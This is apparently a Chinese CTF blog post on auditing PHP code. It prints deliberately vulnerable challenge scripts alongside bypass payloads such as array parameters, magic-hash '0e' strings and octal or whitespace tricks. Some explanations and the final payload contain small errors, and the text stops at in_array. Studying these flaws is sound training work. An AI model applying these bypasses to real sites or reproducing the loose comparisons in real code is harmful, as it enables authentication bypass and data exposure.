CTF-PHP代码审计

Last updated on June 28, 2025 pm

is_numeric 函数

 <?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

绕过 : 前面加上 %09 %0a %0b %0c %0d 等空字符

is_numeric() 函数对于 %00 这类空字符,不管是放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现改函数对于第一个空格字符会跳过空格字符直接判断后面的内容

preg_match 函数 – 正则表达式

元字符

元字符 说明
* 0次、1次或多次匹配其前一位
+ 1次或多次匹配其前的原子
0次或1次匹配
| 匹配两个或者多个选择
^ 匹配字符串串首
$ 匹配字符串
[] 匹配方括号中任一原子
[^] 匹配除方括号中的原子外的任何字符
{m} 表示其前原子恰好出现m次
{m,n} 表示其前原子 (n>m)
{m,} 表示其前原子出现不少于m次
() 整体表示一个原子
. 匹配除换行之外的任何一个字符
 <?php 
error_reporting(0); 
highlight_file(__FILE__); 
include("flag.php"); 
if(isset($_GET['f'])){ 
    $f = $_GET['f']; 
    if(preg_match('/.+?zkaqzkaq/is', $f)){ 
        die('bye!'); 
    } 
    if(stripos($f, 'zkaqzkaq') === FALSE){ 
        die('bye!!'); 
    } 
    echo $flag; 
} 

注 : preg_match 函数只能处理字符串,当传入的参数为数组时会返回 false

md5 sha1 函数

  1. 对于php强比较和弱比较: md5() ,sha1() 函数无法处理数组,如果传入的为数组,两个数组经过加密后都是 NULL ,也就是相等的。
  2. 对于某些特殊的字符串加密后得到的密文以 0e 开头,php 会当作可续计数法来处理,也就是 0 的n 次方,得到的值比较的时候 都相同。

payload:

md5:
 
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
 
sha1:
 
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

eg:

<?php 
highlight_file(__FILE__);
$name = $_GET['name'];
$pass = $_GET['pass'];

if($name != $pass){
    if(md5($name) == md5($pass)){
        echo "True: flag";
    }
    else{
        echo "wrong";
    }
}
else{
    echo "1";
}
?>

绕过方法

  • 使用数组绕过

    • http://localhost/?name[]=aaa&pass[]=bbb
  • 使用特殊值绕过

    • http://localhost/?name=QLTHNDT&pass=QNKCDZO

案例:

 <?php
    // include('flag.php');
    highlight_file(__FILE__);
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    if(isset($v1) && isset($v2)){
        if(!ctype_alpha($v1)){
            die("v1 error");
        }
        if(!is_numeric($v2)){
            die("v2 error");
        }
        if(md5($v1)==md5($v2)){
            echo "flag{asd}";
        }
    }else{
        echo "where is flag?";
    }
?> 

strcmp 函数

strcmp($str1,$str2)
//strcmp 函数是比较两个字符串,如果str1<str2 则返回 < 0 。如果str1>str2 则返回 > 0 。 如果两者相等则返回 0;

strcmp 比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值为0,一般利用这一点进行绕过

  • flag.php
<?php
$flag = 'flag{lkasjhfdasdhfasiu8dfhawes}';
$password = 'asddddddddddddddddd';
?>
  • index.php
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);

if(isset($_GET['password'])){
    if(strcmp($_GET['password'],$password) == 0){
        echo "$flag";
    }else{
        echo "error";
    }
}
?>

switch 函数

<?php
highlight_file(__FILE__);
error_reporting(0);
include("test.php");

if(isset($_GET['paraml'])){
    $a = $_GET['paraml'];
    switch($a){
        case $a>=0:
            echo 0;
            break;
        case $a>=10:
            echo FLAG;
            break;
        default:
            echo 2;
            break;
    }
}
?>

payload:

?paraml=0

首先传进去 a = 0;

  1. 进入第一个case : 判断 0>=0 结果为true,接着判断 0 == true ,结果是false;
  2. 进入第二个case :判断 0>=10 结果是false,接着判断 0 == false 结果是true;
  3. 输出flag;

intval 函数

注:漏洞只存在于某些版本的php中

intval 用于获取变量的整数值

echo intval(53)  // 53
echo intval(5.3) // 5

函数使用方法:

int intval(var,base)
/*
var 是要转换成 integer 的数量值,base只转化所用的进制
如果base是0,通过检测 var 的格式来决定所使用的进制
0x -> 16进制
0 -> 8进制
否则使用10 进制
*/

成功时返回 var 的 integer 值,失败时返回 0;

空的 array 返回0 ,非空的 array 返回 0;

如果是一个弱比较 a == b ,我们传入 a[]=1和b[]=2

某些版本的php对科学计数法中的e不敏感

案例1:

<?php 
highlight_file(__FILE__);
error_reporting(0);
include('test.php');

$s = $_GET['a'];

if(intval($s) < 666 && intval($s+1) > 667){
    echo FLAG;
}
?>

payload:

?a = 1e10

案例2:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="6666"){  
        die("no no no!");
    }
    if(intval($num,0)===6666){ 
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
?>

解析: 函数格式 intval($value,$base)

$base 的值为0 时,函数会检测 $value 的格式来决定使用的进制

payload:

/?num=0x1a0a

strpos 函数

strpos 函数查找字符串在另一个字符串中出现的位置并返回

案例:

<?php

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="6666"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){   
        die("no no no!");
    }
    if(intval($num,0)===6666){
        echo $flag;
    }
}
?>

解析: preg_match 函数过滤了26的英文字母(包括大小写)

所以通过16进制来获取flag的方法是不可取的,可以考虑使用8进制来绕过,6666的八进制为 15012 在前面加上0 表示 8进制

所以传入 015012

会发现还是不行,这是因为 第三条 if函数 控制了第一个传入的字符不能为 0 所以被ban掉了

可以尝试在传参前面加上一个空格

payload:

```num= 05012``

in_array 函数

考点: 函数的作用是检查数组中是否存在某个值,当函数中


CTF-PHP代码审计
https://blog.lixey.top/posts/5fe44501/
Author
Lixiney
Posted on
June 28, 2025
Licensed under